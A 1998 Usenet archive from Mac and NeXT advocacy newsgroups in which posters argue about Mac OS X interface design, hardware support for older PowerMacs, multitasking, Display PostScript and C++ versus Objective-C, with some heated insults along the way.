References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news> <6pajhr$nj6$1@news.spacelab.net> <andyba-ya02408000R2707981255140001@news> <SCOTT.98Jul28084322@slave.doubleu.com>
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In article <SCOTT.98Jul28084322@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> It wasn't in a filesystem, therefor it wasn't a file.
See, this is where we differ. I'm talking about the conceptual idea of a
"file" as the user understands it; you're talking about the literal "it's
only a file if it's in a filesystem" idea of a file. For a user interface,
the first one is important, not the second one.
> Yeah, I'm saying that debating whether "Print" should be on the "File"
> menu is silly - it shouldn't be a "File" menu in the first place. It
> should be a "Document" or more specific menu...
But to the users, a document and a file are the same thing. That's my
point. If you have a letter in memory, or on the hard disk, printing each
one out will result in the exact same printed result. Likewise, both look
the exact same when loaded into memory. Therefore, conceptually, they are
both the same thing. They are both files, in the most general sense of the
word. Now, you may have a more specific interpretation of the word "file"
as it relates specifically to a filesystem, but this does not matter to the
user one whit. Therefore, a File menu is file, and should be usable for
items that exist only in memory, whether they are "filesystem files" or
not.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 13:17:04 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3007981317040001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <SCOTT.98Jul22111835@slave.doubleu.com> <andyba-ya02408000R2307981322200001@news> <SCOTT.98Jul28083702@slave.doubleu.com>
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In article <SCOTT.98Jul28083702@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <andyba-ya02408000R2307981322200001@news>,
> andyba@corp.webtv.net (Andy Bates) writes:
>
> Seriously, why do you think that "pro" users should have a
> different interface than new users? And yes, the Mac OS interface
> is scalable depending on the level of complexity required by the
> user.
>
> I think that users on a 350Mhz CPU with 64M RAM and a 8Gig hard drive
> should be allowed to excercise their machine more fully than an
> interface which can run on a 100Mhz CPU with 4M RAM and no hard drive
> would allow for. Otherwise, what's the point of all the extra power?
Again, why do you think that a user with a faster machine will need a
different interface than a user with a slower machine? It's the programs
that should exercise the machine more fully, not the interface. Do you
think that a user with a faster machine should use all of their processing
power with animated, rendered 3D windows and dancing icons?
> Beyond that, if I ever get a palmtop, I'll be pissed to no end if I
> have to spend half my time arranging windows and doing other UI
> management that I shouldn't have to do.
The Mac OS can have a setup with little to no UI management, if desired.
> Given the current level of technology, a palmtop _should_ be more
> focussed and less general. That's what makes it useful. It may be in
> ten years or so, technology will have gotten to the point where the
> only performance difference between a palmtop and a laptop is that the
> laptop has a full keyboard and a bigger screen. That would turn my
> opinions on their ears.
And that's what we're specualting on; a palmtop running the Mac OS with a
smaller screen but a fast processor would be, in essence, a desktop
machine.
> I'm saying that WinCE as a scaled down Windows doesn't work for me.
> I'm implying that a palmtop with a scaled down MacOS wouldn't work for
> me, either.
Again, why?
> He wasn't making UI predictions about it. He was refuting someone
> else's prediction. Big difference.
>
> "They may be more like WinCE devices" wasn't a prediction? Hmm,
No, it's a speculation. "They will be..." is a prediction.
Andy Bates.
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-dvu1SDpuWiJU@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35BE0268.1B22EC9D@earthlink.net> <joe.ragosta-2907980850290001@wil64.dol.net> <FIiROLCWddLd-pn2-968n2H0vJgLO@localhost> <6pojg0$mil@newsb.netnews.att.com>
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Date: 30 Jul 1998 21:14:08 GMT
Organization: IBM.NET
On Thu, 30 Jul 1998 01:49:52, gupta@kcopsrm.tm.tta.moc-mirror after @
thought aloud:
> taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> It's not the same thing.
> >
> >And NT 4 is not the same as NT 5. Now, isn't the Son of Rhap based on
>
> And NT 5.0 is how late ?
How late or crappy is irrelevant. The point was that Rhapsody (aka Mac
OS X Server) is a stop-gap feature-incomplete release compared to the
finished product that is to be called Mac OS X. Some folks are trying
to make it look as if the late '99 Mac OS X release was something more
of a revolution instead of the evolution over Rhapsody, and thus
Rhapsody compatibility issues would automatically become void.
Microsoft's irrelevant NT 5 is late, and largely so because of the
lack of competitive pressure in the marketplace. But your remark if
anything strengthens my point: if it takes MS so many years to deliver
an update to NT 4, how come Mac OS X - a 12-month step-up to Rhapsody
- should be considered as a whole new OS (just because the kernel and
other system services have been fine-tuned or upgraded to newer
solutions)?
Rhapsody under any other name is still de facto beta on the way to Mac
OS X.
> It is far better for Apple to tell you now that something will not
> be supported, than to make the promise and to have to renege later.
It doesn't make much good if they can feel free to renege their
promises _after_ people have already bought iron based on Apple's
earlier promises. Oh, sorry, it _is_ "far better for Apple...", just
too bad for the trusting (na=EFve) customers left in limbo.
And what comes to the hot issue of Apple not supporting the pre-G3 (or
'97) hardware, they only began touting the new G3-only party-line
after the stocks of "non-compatible" systems were practically sold
out. Not only did they not give any reasons for that unprecedented
decision but also gave up trying even before the work on Mac OS X even
really begins.
Rgds,
--
taiQ
[this space is intentionally blank]
Date: Thu, 30 Jul 1998 16:52:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007981652140001@wil78.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com>
In article <6pqk6v$qs5$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <joe.ragosta-3007981241560001@wil44.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > But you still have to get YB, BB, PDF and IOkit to work with the new kernel.
>
> Very true but you would have to do that anyway. The kernel is hardware
> dependant and so is the IOkit. Everything else is layered above those two
> things so they don't have to deal directly with hardware. So all you have to
> do is port the kernel and IOkit and everything should be peachy.
Should be. In a perfect world. In a real world, it needs to be tested.
>
> Look at it this way: when you want to port a OpenStep application to a new
> platform what do you do? Just recompile it. Why can you do that? Because your
> application sits above the layer that deals directly with hardware. Just as
> YB, BB and PDF sit above the layer (kernel + IOkit) that deals directly with
> hardware.
If your application is complicated enough, you're going to want to test it
on various computers, anyway. Certainly something as complicated as an OS
needs to be tested on whatever platforms it's going to be certifed for.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 16:22:21 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730160839.25738A-100000@ux10.cso.uiuc.edu>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <35c0cc77.0@news.depaul.edu>
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On 30 Jul 1998, Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Pulsar <tokarek@uiuc.edu> wrote:
>
> > Actually, it's not irrelevant.
>
> > The kernel in MkLinux sounds exactly like what Apple describes for Mac OS
> > X.
>
> Yes, the Mach-3-based kernel in OS/X "sounds" exactly like the Mach-3-
> based kernel in MkLinux, but that doesn't mean they're not very
> different. The devil's in the details.
That could be.
> > The Yellow Box, Blue Box, and PDF all interface with the kernel. They
> > do not interface with the hardware.
>
> Probably true, yes.
>
> > The work that it would take to get Mac OS X running on older PowerMacs is
> > in writing the kernel. These other things you mention do not know and
> > do not care what specific hardware they are running on.
>
> Nope. The first work that would be required is to get the kernel running
> correctly on *each* of the older PowerMacs. That would not produce a
> commercially acceptable product.
Getting the kernel to work on each of the older PowerMacs is not a
tremendously big deal. There aren't a huge number of differences between a
7300, 7500, or 7600 for example. There are few differences between the
7300, 7500, 7600, 8200, 8500, 8600, 9500, and 9600 once you ignore the
video in/out or its lack on certan models. Then there are relatively few
major differences left. (Note: I'm ignoring the graphics support since the
9500 and 9600 graphics cards will have to be supported _anyway_, the extra
graphics support is in the other Macs).
> Apple would then have to go on to implement drivers for each motherboard's
> motherboard components, sound hardware, etc., and making sure to include
> workarounds for all the bugs that have surfaced over the years.
Which shouldn't be too huge a job since all that is documented, and Apple
will have experience with writing drivers through Rhapsody. The IOKit is
also supposed to make it easier to write drivers as well as I understand
it.
> Then, Apple would have to test the OS with a variety of different
> hardware configurations and third-party products. For each motherboard.
I understand the hardware configurations, but isn't it the job of the 3rd
parties to get their products working with Mac OS X? Granted Apple would
have to be involved, but this will have to happen _anyway_ for PowerMac
G3s.
> That's a lot of work.
It's work certainly, but it doesn't have to be done serially. Some of it
can be done in parallel with other projects. Obviously PowerMac G3 support
is the priority, but the rest could be done.
> > Of which IOKit is the only thing that's relevant to getting Mac OS X to
> > run on older machines. Even that is supposed to make it easier to write
> > drivers.
>
> What about the implementation of IOKit itself?
I dunno. I should think that wouldn't have to be modified much.
> > And this would be for hardware that Apple has _all_ the documentation on
> > and which Apple _already_ has experience in writing drivers for.
>
> And maybe that experience is that it's a pain in the ass, and well
> worth dropping! Why cling to Apple's long tradition of model-specific
> bugs?
Umm... because Apple continues to do the same darned thing? We already
have multiple revisions of the Gossamer motherboard.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Thu, 30 Jul 1998 16:00:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3007981600420001@wil33.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com>
In article <6pqa9r$s09$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
> <6pq2n2$q44@newsb.netnews.att.com>...
> >Christopher Smith <drsmithy@usa.net> wrote:
> >>>Don't blame apple blame the *stupid* CDR software.
> >>
> >>No, I have every right to blame Apple for writing an OS that forced the
> >>writers of the CDR program to make it this way so they could (nearly)
> >>guarantee not getting coasters.
> >
> >My personal experience is that it is exactly the same as Windows 95,
> >you have to stop everything on Windows 95 so you can (nearly)
> >guarantee not getting coasters.
>
> Are you trying to use a high-speed burner, or have a poor interface to the
> burner? I burn at 2x on a P-90 over SCSI, while in the background a cpu
> intensive app is always running, and never get coasters.
I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time if
I have anything else going on. Mine's IDE, so that may be part of it, as
well.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 14:24:32 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E632A3-81D6D@206.165.43.16>
References: <joe.ragosta-3007980839550001@wil34.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>> Where does Apple draw the line, Joe?
>
>At a major transition point. New motherboard, new processor family.
G3 is NOT a new processor family. It is merely a new version of the
STANDARD PowerPC. It doesn't even have any new instructions. You're
thinking of AltiVec, which STILL doesn't interfere with any old apps unless
you use the new features.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 1998 21:44:40 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pqpg8$s9e$2@nnrp02.primenet.com>
References: <6ppuu6$pgu@newsb.netnews.att.com> <B1E63119-7C0F1@206.165.43.16>
Lawson English <english@primenet.com> wrote:
: Have you ever read the programming manual for OD?
: If not, why do you assume that you understand what it can do?
Actually, I've compiled and built my own OpenDoc part. Have you?
John
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 21:36:12 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pqp0c$a0n$1@news.spacelab.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@new <6poqeb$kbe$1@nnrp1.dejanews.com> <6ppi27$fkb$1@bartlet.df.lth.se> <6pqisq$ouq$1@nnrp1.dejanews.com>
quinlan@my-dejanews.com wrote:
>In article <6ppi27$fkb$1@bartlet.df.lth.se>,
> cb@bartlet.df.lth.se (Christian Brunschen) wrote:
>> Unix ?
>>
>> Unless you manage to find a bug and actually crash the system, the design
>> is such that the kernel _will_ periodically interrupt _whatever_ process
>> is running and give another ready-to-run process the chance to run
>> instead.
>
> This is false. Some server processes are not interruptable e.g. you cannot
> interrupt the process that sets the page tables for the virtual memory
> system.
That's not a "process". Manipulating the page tables is (by design) a
kernel-mode activity, and it is normally done by the scheduler when switching
which process is getting CPU.
> And, of course, bugs in the kernel can lead to the delay of
> preemption.
True, although bugs in the kernel can break any system. That's why you want
your kernel to be as stable as possible....
> Any operating system that offers realtime scheduling can be stopped from
> preempting process by a process setting it's CPU requirements to match the
> total capabilities of the CPU. In this case the only time another process
> can be scheduled is when that process blocks for I/O.
That depends on implementation.
Some systems offering realtime scheduling make guarantees about the return
time of system calls, and thus can actually preemptively switch to other
processes even while running a realtime task.
For the most part, though, realtime scheduling can interfere with PMT.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: why no display postscript?
Date: 30 Jul 1998 21:44:52 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pqpgk$a0n$2@news.spacelab.net>
References: <biggus.FILTER-3007981505130001@tele-anx0229.colorado.edu>
biggus.FILTER@colorado.edu (jeff) wrote:
>anyone know why display postscript was ditched for osx? is it that an app
>could do the job as well without taking up system resources? (perhaps a
>souped up ghostscript?)
I don't "know" the reasons; my best guess is that Adobe wanted too much money
per seat for PostScript licensing, and Apple decided that they were better
off developing or extending their own imaging models instead. It's too bad,
because I thought the Adobe PS license was completely worth the money I paid.
What's important to me is not DPS per se, but the functionality that DPS
provided-- things like true WYSIWYG, a unified imaging model for both screen
and printing, and so forth. If Apple can deliver these, then I won't be
unhappy with the switch. Otherwise, I'll miss what DPS provided, and hope
that the other tradeoffs (posibilities like better hardware acceleration
support, OpenGL, whatever) make up for the loss.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 1998 22:03:24 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pqqjc$jr6$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com>
"Earl Malmrose" <earl.malmrose@nospam.sierra.com> wrote:
>
> Landivar2 wrote in message <35BFB0BB.1AB6@geocities.com>...
> ><snip>
> >> Jeez, if by next year the best they can do is release a consumer
> >> portable with *only* a 9" screen, they deserve what they can
> >> get.
> >
> > 2 words "Toshiba Libreto"
>
> I love my Libretto. Less than $1000, and under 2 lbs. I wish
> Apple would develop a PowerBook with those features, it would
> sure help my development.
If I remember correctly, the libreto has a 6" screen. Ostensibly
a palm type unit. 9" is going to make it a crap laptop.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 30 Jul 1998 22:05:32 GMT
Organization: University of California at San Diego
Message-ID: <slrn6s1rhb.2o1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6phd87$k04$1@nnrp1.dejanews.com> <6po8ls$m44@lace.colorado.edu>
On 29 Jul 1998 22:45:16 GMT, Jay Riley <jay.riley@usa.net> wrote:
:quinlan@my-dejanews.com :
:
:> In article <B1E0AE57-1BF4E@128.138.177.230>,
:> "Jay Riley" <datamagik@usa.net> wrote:
:>
:> > The objects can be
:> > implemented identically at the machine level.
:>
:> No they cannot be. C++ does not allow you to bind objects to methods at
:> runtime.
:
:I beg to differ. That is implementation specific. Where in the language
:definition in 1st or 2nd edition C++ (Stroustrup's book) do you see a run
:time architecture defined?
Exactly. There is no way to bind objects to methods at runtime, because
the concept does not exist in the language. This is independent of
implementation schemes.
In my definition "dynamically bound langauge", the identity of which
method is called (i.e. in a way beyond the concrete type of the
object) is a datum which is mutable at runtime. In such a language,
you can have three stacks: objects, arguments, and 'method selectors',
pop one of them off each, combine all three, and make the call. This
is not possible in C++ because there is no type or concept of
"method-selectors", and no way to make assignments of them.
Furthermore, O(99%) of all empirically used C++ implementation techniques
prevent this capability.
It is conceptually possible, of course, for a C++ implementation to
use a Java/Objective-C/ Smalltalk run-time format for cross-linking
and compatibility reasons, but this will not give C++ the concepts
found in O-C that it is missing. You will have to mutate C++ into a
new langauge to do that. If you're writing a new language, why start
with C++?
There is good reason for not having dynamically bound methods, mostly
for gaining performance on small objects by permitting more aggressive
inlining.
This would be a benefit for heavy object-oriented computational work,
but is not as good for defining a very programmer friendly operating
system API.
Too bad C++ sucks hard for computation in many other ways.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c0c935.0@nnrp1.news.uk.psi.net>
Date: 30 Jul 98 19:27:49 GMT
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>Richard Frith-Macdonald wrote:
>
>[cut]
>
>> >but I'd have to be harsh with you and say that you're dead
>> >wrong and your UI philosophy fails to note important distinctions. Maybe
>> >MacOS users just have a finer-grain resolution between UI concepts, but
>> >that's just the breaks.
>>
>> Surely you mean coarser grained - if they have to be presented with a
>> somewhat crippled form of menu in order to make the fact that it's the
>> top-level clear to them?
>
>No...conceptually speaking, MacOS users see finer distinctions in the
>UI. NeXTstep users don't, which is why many widgets are rolled together
>and made roughly androgynous.
Sorry - but that's totally illogical.
Where distinctions exist, the user needs to be able to percieve them (or they
couldn't act on them). Since the NeXTstep users are able to use the system,
they must be able to percieve the distinctions.
Your arguments are all about the MacOS making some distinctions more obvious -
which is really an insult to the intelligence of the Mac users - I would give
them more credit than that and say that emphasizing the distinctions is
pointless (since the user will see them anyway) and it is more important to
emphasize where commonality lies.
This, as I see it, is a major part of the philosophy of the design of both
MacOS and NeXTstep. Where NeXT has the advantage is that they were able to
apply the principles of good design to a more modern (multi-tasking and
virtual memory being the most important technical differences) operating system.
>I've already discussed with you the fact
>that window tiles and applications tiles are the same size and shape,
>are placed in the same screen location, and behave identically.
The MacOS designers emphasised the relationship between an application
and it's data by using the same representation and behaviour for both - icons
which, if double-clicked on, launch the application.
The NeXT designers applied the same philosophy to running applications tiles
and minimised window tiles - because they have the same kind of relationship.
When the Mac does it you like it, when NeXT does it, you hate it.
>Mac users would point and say "hey! these are different. Why don't they look
>and act differently?
Actually, no they don't - because they are used to the MacOS doing the same
sort of thing. Computer newbies might have that reaction to both MacOS and
NeXTstep though.
>"NeXTstep users say "I like it that way. You have a
>problem with that? Stupid MacOS users...sheesh". Sometimes, if you give
>them a really hard time, they simply insist that the widgets are no
>different, to pretend that they are is "inconsistent", and that the
>MacOS way, in particular, is tied to a small screen size (which makes no
>sense, in context).
Just feel free to keep misrepresenting peoples reactions why don't you?
>> >Perhaps as an OO programmer you can look at it this way: the menu bar is
>> >a special case of menu. For very good reasons
>>
>> This is the second time you invoked 'good reasons' - but failed to
>> present any.
>
>Bullshit, I've done it over and over. I don't need to reproduce the
>copious postings I've already directed toward those who've asked for
>justification on my views.
I didn't ask for reproduction of copious postings - just reasoning -
facts in conjunction with logic. The copious postings would probably not
fit the bill.
>Besides, you picked on the "good reasons"
>part and basically ignored the reference to OO-style inheritance and
>specificity.
>Earlier in this response you called the specificity of the
>MacOS menubar "crippled". I suppose anything inherited and of
>higher-specificity than its parent general case is "crippled", no? A
>button is nothing more than a "crippled" window, then...
I ignored the OO-style inheritance stuff because, rather than reasoning,
it was one of the inappropriate examples/analogies of which you are so fond.
Inappropriate because -
1. Normal OO design makes subclassed more specific by adding functionality
rather than removing it (there are of course exceptions).
2. The fact that in some cases you can make a more specific object by removing
functionality does nothing to support the argument that you should do so in
this case.
>None of which explains how, specifically, the MacOS menu bar is
>"crippled".
1. The menu bar is a selection tool that only lets you select menus.
2. The menus are selection tools that let you select other things as well.
3. You might reasonably want to select things other than menus.
therefore the menu-bar is a crippled selection tool in comparison to the
menu.
How much more specific do I need to get?
>By contrast, most MacOS users, including myself, believe
>that this "crippling" actually makes the menu bar more valuable and
>purposeful. I know you'll never believe it, but there it is.
Proof? Evidence even? - most MacOS users, including myself, would like some
function (print, hide etc) to be available on the menu bar - there, I can
pretend to speak for others too.
>> >, its orientation has been
>> >changed and its behavior and policy are more specific. It is designed as
>> >a special-case menu to hold general-case menus, precisely because it is
>> >unique, serves a unique purpose, and belongs in a unique position in the
>> >user's mind.
>>
>> By that reasoning you should have a distinctly different widget for everything.
>
>Only if you're wildly extrapolating from simple language to attempt to
>poke fun.
Well, yes - but poking fun to a serious point, the question is where you draw the line.
My justification is utility, consistency (and personal taste of course), yours seems
to be personal taste.
>Back to your object-orientation, Richard: by certain reasoning
>I design separate classes for certain purposes. By that same reasoning
>can I design separate classes for everything? Obviously not. Where it is
>advantages to make reuse of code I will do so. Where it is not, I will
>not. The key is constructing a useful, natural taxonomy by which the
>user's needs are best satisfied, making use of similarities where
>beneficial, and drawing thick lines of distinction where also necessary.
Yes - but on the menu issue you seem to think a thick line of distinction is
necessary (where I think users are intelligent enough to make the distinction
anyway) even to the extent of sacrificing useful functionality.
>Generalizing across all cases with now-meaningless terms like
>"consistency" becomes an exercise in pure rhetoric, as this discussion
>has already proven.
Not sure what you mean about generalising - but on the issue of 'consistency' -
I don't really care that much - consistency is just one minor factor in UI design.
I'm being pedantic - I pointed out the lack of consistency of the current MacOS
menu system by comparison with NeXT/NeXT+, and you wrongly said the MacOS system
was not less consistent. The consistency issue is not a matter of which is
better - just a matter of correct english, so I guess I'm agreeing with you here.
>> After all - the actions performed by the 'open' and 'quit' menu items are unique
>> and distinct.
>> Precisely what good does limiting the menu-bar to only containing menus do?
>
>If it can facilitate patterns of usage to place 'open' and 'quit' in the
>'File' menu, by all means, that's where they should go. That's the whole
>purpose of research, which was the foundation of MacOS. By contrast,
>NeXTstep was more of an academic exercise in the heads of self-righteous
>and deterministic pricks who thought they had figured everything out on
>paper. "It only makes sense, Mr. Jobs, we designed it all according to
>mathematical formula."
Well thanks for the paragraph of complete bullshit - the facts are the other way
around - NeXT had many more years of research and user experience to draw upon
in producing a new GUI - Apple were hampered in making changes by having a legacy
system, in much the same way that Microsoft have been hampered by their horrible
backward compatibility.
>If you tell a user "hey, did you ever realize that 'quit' doesn't really
>belong in 'file'?" and they say "no, I never realized that", chances are
>that 'quit' is doing just fine in 'file'. That user doesn't really need
>NeXT Nazis telling him he's been doing it "all wrong" for ten years.
Ah - the 'if it's good enough for grandad, it's good enough for me' argument :-)
I personally don't like having 'quit' at the top-level, but would like 'hide'.
My ideal UI would allow users to move menu items around the hierarchy if they
really wanted to - and just to forestall the criticisim - yes I'd want a good
simple method of switching between cusomised and default setups (like the
yellow-box user defaults system can give you).
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 1998 22:41:37 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pqsr1$bf6$1@nnrp03.primenet.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <SCOTT.98Jul22111835@slave.doubleu.com> <andyba-ya02408000R2307981322200001@news> <SCOTT.98Jul28083702@slave.doubleu.com> <andyba-ya02408000R3007981317040001@news>
Andy Bates <andyba@corp.webtv.net> wrote:
: Again, why do you think that a user with a faster machine will need a
